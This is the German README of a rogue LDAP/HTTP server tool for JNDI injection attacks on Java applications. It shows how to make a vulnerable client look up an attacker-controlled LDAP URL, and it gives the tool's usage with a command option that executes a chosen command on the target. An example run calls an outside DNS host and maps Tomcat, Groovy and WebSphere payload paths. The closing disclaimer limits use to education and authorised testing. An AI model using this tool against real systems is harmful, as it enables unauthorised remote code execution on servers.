
Ein bösartiger LDAP-Server für JNDI-Injection-Angriffe
Ein bösartiger LDAP-Server für JNDI-Injection-Angriffe.
Das Projekt enthält LDAP- und HTTP-Server zum Ausnutzen der standardmäßig unsicheren Java-JNDI-API.
Um einen Angriff durchzuführen, kannst du diese Server lokal starten und dann eine JNDI-Auflösung auf dem verwundbaren Client auslösen, z. B.:
InitialContext.doLookup("ldap://your_server.com:1389/o=reference");
Dies leitet eine Verbindung vom verwundbaren Client zum lokalen LDAP-Server ein. Danach antwortet der lokale Server mit einem bösartigen Eintrag, der einen der Payloads enthält, die für die Erzielung einer Remote Code Execution nützlich sein können.
Zusätzlich zu den bekannten JNDI-Angriffsmethoden (über entferntes Klassenladen in Referenzen) bringt dieses Werkzeug neue Angriffsvektoren, indem es die Leistungsfähigkeit von ObjectFactories nutzt.
$ java -jar target/RogueJndi-1.0.jar -h
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Usage: java -jar target/RogueJndi-1.0.jar [options]
Options:
-c, --command Command to execute on the target server (default:
/Applications/Calculator.app/Contents/MacOS/Calculator)
-n, --hostname Local HTTP server hostname (required for remote
classloading and websphere payloads) (default:
192.168.1.10)
-l, --ldapPort Ldap bind port (default: 1389)
-p, --httpPort Http bind port (default: 8000)
--wsdl [websphere1 payload option] WSDL file with XXE payload
(default: /list.wsdl)
--localjar [websphere2 payload option] Local jar file to load (this
file should be located on the remote server) (default:
../../../../../tmp/jar_cache7808167489549525095.tmp)
-h, --help Show this help
Die wichtigsten Parameter sind der Hostname des LDAP-Servers (-n, sollte vom Ziel aus erreichbar sein) und der Befehl, den du auf dem Zielserver ausführen möchtest (-c).
Alternativ zur Option "-c" kannst du die Datei ExportObject.java ändern, indem du Java-Code einfügst, den du auf dem Zielserver ausführen möchtest.
$ java -jar target/RogueJndi-1.1.jar --command "nslookup your_dns_sever.com" --hostname "192.168.1.10"
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Starting HTTP server on 0.0.0.0:8000
Starting LDAP server on 0.0.0.0:1389
Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2
Java v1.7+ und Maven v3+ erforderlich
mvn package
Diese Software wird ausschließlich für Bildungszwecke und/oder zum Testen von Systemen bereitgestellt, für deren Angriff der Benutzer zuvor die Erlaubnis besitzt.